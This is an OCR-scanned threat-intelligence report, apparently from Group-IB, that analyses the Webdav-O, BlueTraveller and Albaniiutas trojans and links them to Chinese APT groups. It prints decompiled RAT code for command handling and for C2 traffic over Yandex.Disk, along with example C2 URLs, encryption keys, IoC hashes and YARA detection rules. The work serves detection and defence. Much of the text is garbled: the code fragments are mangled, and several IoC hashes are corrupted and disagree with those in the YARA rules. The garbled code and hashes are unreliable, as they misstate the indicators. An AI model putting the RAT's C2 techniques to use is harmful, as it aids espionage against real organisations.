Soenload” ) _{
g ey = 0 r + 15685} = 1;
{ return 8;
[t a8 _CD: !
g (!
I(I‘ L if (™ ind_str == “wod-" BER *( ind_str + 1) == ‘aoln” 88 wnd_str[B] == "d’ )
&8 = 1 {
1l [1] == [1]) && ¢ <= 2] [2] == [2]3) 3 = strstr{command_str, " “);
‘ = strate( P if { Download( . rter, (w7 +1}) )
iF { Downlesd(vi & 1} ) {
{ o6 = 'kl 4444D° 3
= 1strlens{~Dewmload 0xl!"); . y - 1t
memepy(k [496], “Dosmlcad omi®, wa3); } ( ) + 31397) i
elze E15E
i - e {
....\c;,,.('gll JIL::;;IT}J:I:-‘ ‘\i'r . geemcpy{ lpT + BxTASD, "D5555 E@er!”, 11);
1
Eote SendlosmandResultTol? LABELY SendCommandResultTol2 LABEL:
. i SendComsandResultTol2(
else ! ! *
{ ] t + B TASD,
while [ * - ¥ strlen(l; sdPa + BxT7ASD),
[ . adPa + BxF202);
oo dp return 8;
- A }
if €4 if - snd =tr == *lpu-" = ard =t — i yrd =4 am 'g*
e e P E { lpu-" &8 *( + 2) ac' 88 [&] ]
= stratr{command_ste, " “);
if { Upload( radPa e, & . 1) )
{
w6 = k@ 44440 ;
*{ | + 31287) = "17;

Fragments of code in BlueTraveller (on the left) and Albaniiutas (on the right)

It is clear that this part was updated by the hackers, but the commands remain the same:

Command Options Description

-exit Terminates the function for receiving and processing commands (exiting the flow)
-download Downloads URLs or Path to the storage directory Downloads a file from the C&C server

-upload Path to the file on the infected device or Part of path of the URL-address during the upload Uploads a file to the C&C server

(command) Command arguments Executes the command with cmd.exe and returns the result to the C&C server.

In addition, the two Trojans have a similar pattern of communicating with the control server in the protocols of network interaction with the C&C server. Below is an example of network communication
with the C&C server, taken from BlueTraveller samples available on VirusTotal.
BlueTraveller Albaniiutas

http://45.32.188[.]226/0000/1301/0024/4u/i7fr09bGus+Wyt7iyjos= http://go.vegispaceshop|.Jorg/home/2252/0108/IKNYF60SkYtpU60GinS27fbRKdcvCj/kZgeNi/
8QIRN2+6+03gKV60Dd2mEPNo07tYi1+ePOSmFzMIUY 1cid1 AOXSw8aOkJzTDXITxdSNo74=

Template: [IP]/[0000 or 1111]/[0-9]{4}/[0-9]{4}/[base64 data] Template: [domain]/[dir]/[0-9]{4}/[0-9]{4}/[base64 data]

Let's move on to string obfuscation in Albaniiutas. We have established that strings are encrypted using the RC4 algorithm. The encryption key used is LIQ@W#E$R% T Y&U*A|}t~k.

The same encryption key was used in the BlueTraveller server component which stores the log files in the encrypted form:
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r
L

int v3; // |
int vd; //

unsipned int vS; J// [e

5 = _ readgsdword(@xl4u);
= strlen(a2);
= @;
EncryptData( (unsigned
fwrite(&v3, 4, 1, al);
fwrite(a2, s 1, ;i

return _ readgsdword(8x14u)

The Art of Cyberwarfare

"L!QEWEESRETAYRU®A | T~k

. Bx16);

A fragment of code with a line written to a log file (retrieved from PTSecurity "Operation TaskMasters" 2019)

| think not!

The conclusion is clear: Albaniiutas is nothing but a logic continuation of the malware belonging to the BlueTraveller family.

And then it dawned on us...

We thought that we had analyzed everything and that we were done with comparisons, when suddenly a sample was uploaded to VirusTotal. We identified it as Webdav-O.

Name

y_dil.dll

SHA1

3ff73686244ca128103e86d8c5aa024e37e7b86d

Compilation timestamp 2018-12-06 11:15:35

First Submission

2021-06-05 04:41:00
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DIl Name y_dll.dll

Export function ServiceMain

The file "y_dll.dll" is an x64 dynamic link library (DLL) that functions as a service in the system.

As can be seen, this version of Webdav-O was written for a system with a different bitness and compiled later than our sample of Webdav-O x86 (2018-12 and 2018-07, respectively).

The legitimate cloud service Yandex.Disk (webdav.yandex.ru:443) is also used as a network infrastructure, in particular C2. Network interaction with the cloud is carried out via a Webdav protocol.
However, this sample supports two authentication methods instead of one in Webdav-O x86: Basic (with a username and password) and OAuth (using a token).

The strings and configuration data are encrypted using the RC4 algorithm with the following key: { C3 02 03 04 05 DD EE 08 09 10 11 12 1F D2 15 16 }. The key size is 16 bytes. The analyzed file can
work with 1-7 accounts (it works with only one in this case).

This sample seemed even more similar to the one described in the SOLAR JSOC and NCIRCC report: unlike our sample, it has the "-sleepuntil” function.

Unfortunately colleagues at SOLAR JSOC and NCIRCC did not provide any indicators of compromise, so we can only make comparisons based on screenshots and descriptions of the capabilities of their

sample.

v = WinHttpOpanRequest{hInternet, L"PROPFIND™, v3, Bi64, 9i6d, Pi6d, @xBOS80u); ' E -I'-'-‘-‘:i‘-'-'i'-"-"'*‘-‘*I“L“f'-U‘":f"‘"!“a L'FROPFIND®, w4, Bi64, @164, 0163, DxEREGD3u);
if { e ) -

return Bi64; return Bi64;
sprintf(8.15, atcceptDepthliu, oauth_teken); |/ Accepr: */° sprintf(v17, “Accept: */*\rinDepth: 1\rinAuthorization: QAwth %s5", ocauth_token);

ff Dwpth: 1 = ascii_to_wide(v17);
_ ) Ff Autherizatisn: OAuth Xs JinHETp equestHeaders(vs, , BuFFFFFFFF, @xARSSE088);

v = ascii_to_undcode(dv18); if [ 'WinMttpSendRequest(vs, @i64, @, 0ig4, @, @, 0is4) || !'winmttpReceiveResponse(vs, BiB4) )
WinkttpaddRequestieaders(ve, B, OxFPEFEFEF, Gxa0000008); return BL64;
1f { IwirHtrpSendRequest(vi, Bl6a, @, 0i6a, @, @, @i6a) || IwirHtepRecelveResponselvi, Bi64) ) da

return 8igd; i
d
° memset(Buffer, 8, sizeof{Buffer));

momsat{Eu , B, sizeof{auf V) wWinHttpReadbatavs, Frer, Scddgu, Hu Flyrt iH

WinkttpReadData(vs, Buffer, Oxdb@u, cwhiumt flyteshead); = d teik [2]:

= duiusberOfEytesRend[0]: memmove(&5tr[vi], Buffer, dwiumberOfByteskead[8]);

memmove{f5tr + i, E "y GwhumberOfBytesRead[0]); =

- }

. while ( 15
while { +3 ); ) memset(Ad_hrefs, @, Bx32CBuicd);
memiat {Ed_hrefs, &, OxBXBuidd); 55 le = @;
=#iles_count = B3 - Wy da -
far = strstr(fStr, abHref); § g = strstr(vid, aDHref} 1// <d:hrefs Ed { = stretr( o “uod:href>®); iz & = steste(vl3, “odihref»®) )
{ - e

= =1i64; | = -1i64;

do do

#atag_lens it E

while | aDHref[tag 153; while { d_href_tag_open| IR H

12 w Bpos[tag_len]; = it n];

= stratr(vil, abHref @); fI «/fd:href 12 m strstr{vll, “ofdihrefs>™);
Puc. B, MoayweHe CNUcka $ann0e-KoManHg & nanke test

Webdav-0 sample from the report and Webdav-0 x64 sample
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28 = strtok_s({char *)command_data + 12, " ", EContext);
29 = y28;
if { v2g )
1
sleep_until_date = parse_date(vi8);
if { sleep until_date »>= @ )

sprintf{{char *"const)&pbData, alLs, v29); J/ ##lewd Xs
38 = get_random();
11 = get_random();

da
++ _'-;
v while { "(&pbData + v3) );
LABEL_14:
| rcd_crypt_decrypt((__intsd)&pblata, v3, {__intéd)red_key);
. LABEL_53:
send_dats_or_file_to_server(&pbData, vi, (__inted)&filenams, @);
return 1ig4;
}

sleep_until_date = @;

)}

return 1164;

!

sprintf(&filename, aTest2e4deddBin, v3l, via);// /testl/sd4d¥edd.bin

Puc. 7, ObpaboTea camangs -skeepuntil

The Art of Cyberwarfare

strtok_s{command + 12, " ", &Context);
v29 283

if ( v28 )
1

sleepuntil_datetime = parse_datetime(v23);
if ( sleepuntil_datetime >= 8 )

I
o

sprintf(pbData, "##18#% ¥s", v29);
vie = rand_9999();
31 = rand_9999();
sprintf(&filename, "/test2/%e4d¥84d.bin",

do
+Hvw3;
while { pbData[v3] );
LABEL 14:
RC4(pbData, v3, rc4_key session);
LABEL_59:
send_data(pbData, v3, &Filename, 8);
return 1i64;
}
sleepuntil_datetime = @;

¥

return 1i64;

Webdav-0 sample from the report and Webdav-0 x64 sample (processing the -sleepuntil command)

The parts of code presented above show that both versions look identical. Group-IB experts also noticed that in Webdav-O x64, the commands and their results are transferred by uploading various files

to Yandex.Disk:

Description of files created by Webdav-O from the report:

test2.txt, test3.txt. are files used to check the connection

test4.txt contains information about the interval (minutes) between command requests to the server

tests.txt contains the launch date for the malware

test7.txt is uploaded to the server and contains a 16-byte RC4 key that is used to encrypt commands and their results (the key is also encrypted with a public RSA key)

test is a directory containing files that are downloaded, decrypted, and processed as commands. Malware receives the file list via the PROPFIND request and by parsing the necessary tags:

<d:href>complete path to file</d:href>.

Description of the files created by Webdav-O x64:

File/
Directory Description

test2.txt,  Used to verify the connection. Example of "test2.txt" content: "Just A Test!"

test3.txt

Sl

y38Y);

test4.txt Contains the waiting interval (in minutes) between command requests. Example of "test4.txt" content: 15

test5.txt Contains the date and time until which the malware will be in sleep mode. Format: %d-%d-%d_%d:%d:%d, example of file "test5.txt" content: 2021-03-02_14:30:00
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File/
Directory Description

test6.txt Contains an OAuth token. The content is encrypted using the RC4 algorithm with the following key: { 8A 4F 01 47 34 C9 75 F8 2B C8 C1 E9 D2 F3 A5 8B } (16 bytes). It is noteworthy that
this key has already been used by another sample of our Webdav-O x86 to encrypt strings and configuration data.

test7.txt It is loaded onto the server and contains a RC4 session key (16 bytes), which is used to encrypt commands and their results (the key itself is encrypted with a public RSA key). RC4
session keys are generated using the BCryptGenRandom function: BCryptGenRandom(0i64, rc4 key session, 16u, BCRYPT_USE_SYSTEM_PREFERRED_RNG)

test Contains files that are downloaded, decrypted, and processed as commands. File name format: "/test/[0-9{1,4}[0-9]{1,4}.bin"

/test2 Contains files (results of executed commands), which are encrypted and uploaded to Yandex.Disk. File name format: "/test2/[0-9]{1,4}[0-9]{1,4}.bin"

The data presented above shows that this part is also identical except for the description of test6.txt, which is not presented in the SOLAR JSOC and NCIRCC report.

Based on the comparisons above, Group-IB experts have concluded that this particular Webdav-O sample was most likely used in attacks on Russian federal executive authorities in 2020 and it is the
same Trojan as the one described in the SOLAR JSOC and NCIRCC report.
To sum up...

N3 > #1U# [rén xin qi, tai shan yi]
Verbatim translation: United, people can move even Mount Taishan.

Definition: By working together people can accomplish anything.

https://blog.group-ib.com/task 25/34



‘GRDUP‘iB‘

A SCHEME OF INTERSECTIONS BETWEEN THE WEBDAV-(,
BLUETRAVELLER AND ALBANIUTAS TROJANS BASED
ON THE DATA PROVIDED IN THE BLOG.

Wehdav-0

code

commands

network communication

receiving real G2 AlhaniiUtas

receiving commands

network protocol




8/8/2021

The Art of Cyberwarfare

Group-IB, 2021

Venn diagram showing the common points between the two Trojans
(Only data presented in the blog is used in the diagram)

4

Webdav-O malware is a version of the BlueTraveller (RemShell) Trojan, which is classified as a Chinese APT. Webdav-O was designed for both x86 and x64 systems.

4

Webdav-O may have been used by the Chinese APT TaskMasters (aka BlueTraveller). Based on the information about attacks on various federal executive authorities in 2020, presented in the SOLAR
JSOC and NCIRC report, it is possible that in some cases the Chinese APT TA428 was behind the attacks, while others could have been performed by TaskMasters.

vV

Researchers from SentinelLabs have linked Mail-O to Smanager and Tmanger (tools used by TA428). Group-IB specialists found common code parts in the malware's exported functions "Entery" and
"ServiceMain". We can say with moderate confidence that Mail-O was developed by TA428.

4

Based on research done by NTT Security, it can be said that TA428 has already used the malware Albaniiutas. Group-IB experts have shown that the Trojan is a new version of BlueTraveller (RemShell).
As such, it can be assumed that Webdav-O is also linked to TA428.

4

It is noteworthy that Chinese hacker groups actively exchange tools and infrastructure, but perhaps it is just the case here.

4

There is also strong evidence that points to one large hacker group consisting of several intelligence units of the People's Liberation Army of China. For example, unit 61398 from Shanghai is responsible
for the actions of a well-known group called APT1 (aka Comment Crew), and unit 61419 from Qingdao has been linked to Tick. Each unit attacks to the fullest, according to a strict timeline and order.
This means that one Trojan can be configured and modified by hackers from different departments with different levels of training and with various objectives.
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https://www.fireeye.com/blog/threat-research/2013/02/mandiant-exposes-apt1-chinas-cyber-espionage-units.html
https://www.japantimes.co.jp/news/2021/04/20/national/chinese-military-japan-cyberattacks/
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IoCs
° "/test"
e "/test2"

o "/test[2-7]{1}.txt"

» "/test/[0-9]{1,4}[0-9]{1,4}.bin

e "/test2/[0-9]{1,4}[0-9]{1,4}.bin"
e "[0-9]{1,4}[0-9]{1,4}.bin"

e Webdav-O is launched as a service in system
e Suspicious network interaction with Yandex.Disk cloud storage

e tstrobos@yandex[.]Jru
aleshaadams@yandex[.]Jru
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e go.vegispaceshopl.]org
* 209.250.239[.]96

1.dll — Webdav-O RAT x86

e MDj5 664fb7cdazq9dagdsbatayaist7fi4fs
e SHA1 c9e03855f738e360d24018e2d203142c7aebc2ec
e SHA256 7874c9ab2828bc3bfg20e8cdec027¢e745(f059237¢61b7276bbbas311147ebb6

y_dll.dll — Webdav-O RAT x64

e MD5 5155c03a2064d80cef6a86a84d67c1b4g
e SHA-1 3ff73686244ca128103e86d8c5aa024e37e7b86d

e SHA-256 849e6ed87188de6dcof2ef37e7¢446806057677c6e05a367abbd649784abdf77

netui4.dll — BlueTraveller RAT

e MDj5 aa9771e98f25db395c7d9ofsbebges421
e SHA1 6857bb2c3ae5f9c2393d9f88816be7a1ocbs573f

e SHA256 95ac5cc14f114461df8469331171863e8d8¢1981761cf16c68d513e34a46103d

1.exe — BlueTraveller service install tool

e MD5 ceb8oceffc82fioacdbe9841e4588eb2
e SHA-16303cce6747703e81a5a52dec11a3ba7db26ea4b

e SHA-256 1457ce3a4f2f4b41a345cfo6abd7cy7afod14a3ceaf61e3ff863a787ceeq43b48a

vjsc.dll — Albaniiutas service install module

e MD5 101b7762ef536¢f77f04€07115231b53
e SHA-1 2fe6af7ce84cbg6ae640bb6ed25a7ba67591a11e

e SHA-256 2629cae63cecc23bd30731e3a7e44fdabee75alaaec14b3d7f56ac1674adgc11

file — Albaniiutas RAT fileless module (DLL)

e MD5 f481172e59491117ac5dbe2ade267bif
¢ SHA-1 08645d079abeosb88201dbofficgbieco35035ca

https://blog.group-ib.com/task
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e SHA-256 fd43fa2e70bce3b602363667560494229287bf4716638477889ae3f816efc705

file — Albaniiutas dropper stage o

e MD5 fb82e5a2fgf25ac53f3f4c8b8e33ffdd
e SHA-1 a55260aa75e7f28ad6644f916fe11c6bd2ag3ba2z

e SHA-256 83b619f65d49afbb76¢849c¢3f5315dbcb4d2c7f4ddf89ac93c26977e¢85105(32

cssrs.exe — Albaniiutas dropper stage 1

e MD5 9fb74044c1935298a7coob74fa192baf
e SHA-1aa046d7b6d37070ea7a65d13ddfof3bd8668a723

e SHA-256 2a3c8dabdee7393094d72ce26ccbee34bffg24aibe801f745d184a33119eedag

cssrs.exe — Albaniiutas dropper stage 1

* MD5 32060465223315a1da24cofbgabesifs
e SHA-1¢89896264a633fd7a036042d3202c6b9503d11ch

e SHA-256 71750c58eee35107db1a8e4d583f3b1ag918dbffbd42a6¢870b100a98fdo342e0

utas.xlsx.exe — Albaniiutas dropper stage o

e MD5 4814f81f3b174c52e920e6ddd57d8da6
e SHA-1bfaz8cb5097bbaba8aes555d6dce3c5446db8099a
e SHA-256 690bf6b83cecbfoacscs5f4939a9283f194b1a8815a62531a000f3020fee2ecq2
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MITIGATIONS
& ACTIVE DEFENCE

GROUP|IB

GROUP-IB MITIGATION
& PROTECTION PRODUCTS

T1585.002 Establish Accounts: Email Accounts
T1587.001 Develop Capabilities: Malware

M1056. Pre-compromise
DTEOOS35. User Training

Cyber Education
Threat Intelligence & Attribution

T1059.005 Command and Scripting Interpreter:
Windows Command Shell

T1569.002 System Services: Service Execution
TNMOB6. Native API

T1545.005 Create or Modify System Process:
Windows Service

T15/74.001 Hijack Execution Flow: DLL Search Order
Hijacking

T1545.0035 Create or Modify
System Process: Windows Service

T1027/. Obfuscated Files or Information

T1070.004 Indicator Removal on Host: File Deletion
T1M40. Deobfuscate/Decode Files or Information
T1222.001 File and Directory Permissions
Modification: Windows File and Directory Permissions
Modification

T1036.004 Masquerading: Masquerade Task or
Service

T1036.005 Masquerading: Match Legitimate Name or
Location

T1497.003 Virtualization/Sandbox Evasion: Time
Based Evasion

M1049. Antivirus/Antimalware

M1038. Execution Prevention

M1022. Restrict File and Directory Permissions
M1018. User Account Management
DTEOQOS5. User Training

DTEOOZ21. Hunting

DTEQOQOY. Behavioral Analytics

DTEOQSZ. Security Controls

DTEOQOQS33. Standard Operating Procedure
DTEOQOS36. Software Manipulation
DTEQOS34. System Activity Monitoring
DTEOQOS. API Monitoring

Threat Hunting Framework
Red Teaming

Incident Response

Fraud Hunting Platform
Cyber Education

https://blog.group-ib.com/task

T1083. File and Directory Discovery
T1082. System Information Discovery

] B = [ A=

M1049. Antivirus/Antimalware
DTEOQOY/. Behavioral Analytics

[ alakAs ) =T =M =Talla =l lald

Threat Hunting Framework
Threat Intelligence & Attribution
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T1087.001 Account Discovery: Local Account

T1005. Data from Local System

T1071.001 Application Layer Protocol: Web Protocols
T15/75.001 Encrypted Channel: Symmetric
Cryptography

T11532.001 Data Encoding: Standard Encoding
TNMNO5.Ingress Tool Transfer

T1O4. Multi-Stage Channels

T1MOZ2. Web Service

TIS567.002 Exfiltration Over Web Service: Exfiltration
to Cloud Storage
T1041. Exfiltration Over C2 Channel

T1489. Service Stop

Learn more about Group-IB's products and services:

The Art of Cyberwarfare

DTEOO1. Decoy Content
DTEOQOQ34. System Activity Monitoring

M1038. Execution Prevention

M1031. Network Intrusion Prevention
M1021. Restrict Web-Based Content
DTEOQOZ21. Hunting

DTEOOZZ. Isclation

DTEOQOZ6. Network Manipulation
DTEQOZ/. Network Monitoring
DTEOQOQOY. Behavioral Analytics
DTEOQOS34. System Activity Monitoring
DTEOOS31. Protocol Decoder

M1018. User Account Management
M1022. Restrict File and Directory
Permissions

M1024. Restrict Registry Permissions
DTEOQOY. Behavioral Analytics

Group-IB's Threat Intelligence & Attribution system, Threat Hunting Framework, Red Teaming, and Cyber Education

YARA rule

https://blog.group-ib.com/task

Threat Hunting Framework

Group-IB, 2021
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import "pe

rule webda
{
meta:

author
compan
family
descri
sample
sample
severi
date =

strings:
$rcd_k
$rcd_k
$s0 =
$sl1 =
$s2 =
$s3

conditio
(any o
(
pe.im
pe.im
)
}

rule alban
{
meta:

author
compan
family
descri
sample
sample
sample
sample
severi
date =

strings:
$event
$rcd_k
$aes25
$s0
$sl =
$s2 =
$s3 =
$s4 =
$s5 =
$s6 =

conditio
5 of t

The Art of Cyberwarfare

vo_rat
= "Dmitry Kupin"
y = "Group-IB"

= "webdavo.rat"

ption = "Suspected Webdav-0 RAT (YaDisk)"

= "7874c9ab2828bc3bf920e8cdee027e745ff059237c61b7276bbba5311147ebb6" // x86
= "849e6ed87188de6dc9f2ef37e7c446806057677c6e05a367abbd649784abdf77" // x64
ty =9

""2021-06-10"

ey_0 { 8A 4F 01 47 34 C9 75 F8 2B C8 C1 E9 D2 F3 A5 8B }
ey 1 ={C3 02 03 04 05 DD EE 08 09 10 11 12 1F D2 15 16 }
"y_dll.dl1" fullword ascii

"test3.txt" fullword ascii

"DELETE" fullword wide

"PROPFIND" fullword wide

n:
f ($rcd_keyx) or 3 of ($sx)) or

phash() == "43021febc8494d66a8bc60d0fa953473" or
phash() == "68320a454321f215a3b6fcd7d585626b"

iiutas_dropper_exe

= "Dmitry Kupin"

y = "Group-IB"

= "albaniiutas.dropper"

ption = "Suspected Albaniiutas dropper"

= "2a3c8dabdee7393094d72ce26cchbce34bff924albe8011745d184a33119eedad" // csrss.exe dropped from 83b619f65...
"71750c58eee35107db1a8e4d5831f3b1a918dbffbd42a6¢c870b100a98td0342e0" // csrss.exe dropped from 690bf6b83...

= "83b619f65d49afbb76c849c3f5315dbcb4d2c7f4ddf89ac93c26977e85105132" // dropper_stage_0 with decoy
"690bf6b83cechf@ac5c5f4939a92831194b1a8815a62531a00013020fee2ec42" // dropper_stage_0 with decoy
ty =9

""2021-07-06"

name = /[0-9A-F]{8}-[0-9A-F1{4}-4551-8F84-08E738AEC[0-9A-F]1{3}/ fullword ascii wide

ey = { 00 4C 21 51 40 57 23 45 24 52 25 54 5E 59 26 55 2A 41 7C 7D 74 7E 6B 00 } // L!'Q@WHE$RST Y&U*A |}t~k
6_str_seed = { 00 65 34 65 35 32 37 36 63 30 30 30 30 31 66 66 35 00 } // e4e5276c00001ff5

"Release Entery Error" fullword ascii

"FileVJCr error" fullword ascii

"wchWSMhostr error" fullword ascii

"z1lib err@r" fullword ascii

"De err@r" fullword ascii

"CreateFileW_CH error!" fullword ascii

"GetConfigOffset error!" fullword ascii

n:
hem or

https://blog.group-ib.com/task
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(
pe.imphash() == "222e118fa8cleafeefl102e49953507b9" or
pe.imphash() == "7210d5941678578c0@a31ladb5c361254d" or
pe.imphash() == "41e9907a6c468b4118e968a01461a45b"
)
¥

rule albaniiutas_rat_dll
{
meta:

author = "Dmitry Kupin"
company = "Group-IB"
family = "albaniiutas.rat"
description = "Suspected Albaniiutas RAT (fileless)"
sample = "fd43fa2e70bcc3b602363667560494229287bT471663847788%ae3f816efc705" // dumped
severity = 9
date = "2021-07-06"

strings:
$rcd_key = { 00 4C 21 51 40 57 23 45 24 52 25 54 5E 59 26 55 2A 41 7C 7D 74 7E 6B 00 } // L!'Q@WHE$RST Y&U*A |}t~k
$aes256_str_seed = { 00 30 33 30 34 32 37 36 63 66 34 66 33 31 33 34 35 00 } // 0304276cf4f31345
$s0 "http://%s/%s/%s/" fullword ascii
$s1 = "%s%04d/%s" fullword ascii
$s2 = "GetRemoteFileData error!" fullword ascii
$s3 = "ReadInjectFile error!" fullword ascii
$s4 = "%02d%02d" fullword ascii
$s5 = "ReadInject succeed!" fullword ascii
$s6 = "/index.htm" fullword ascii
$s7 = "commandstr" fullword ascii
$s8 = "ClientX.dll" fullword ascii
$s9 = "GetPluginObject" fullword ascii
$s10 "D4444 ok!" fullword ascii
$s11 "D5555 EQOr!" fullword ascii
$s12 "U4444 ok!" fullword ascii
$s13 = "U5555 E@Or!" fullword ascii

condition:
5 of them

Operation TaskMasters: Cyberespionage in the digital economy age

APT Group Targeting Governmental Agencies in East Asia

Panda's New Arsenal: Part 2 Albaniiutas

Solar JSOC and NCIRCC report "Otchet ob issledovanii serii kiberatak na organy gosudarstvennoj vlasti RF" [Report on a series of cyberattacks against state agencies of the Russian Federation]

ThunderCats Hack the FSB | Your Taxes Didn't Pay For This Op
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https://rt-solar.ru/analytics/reports/2203/
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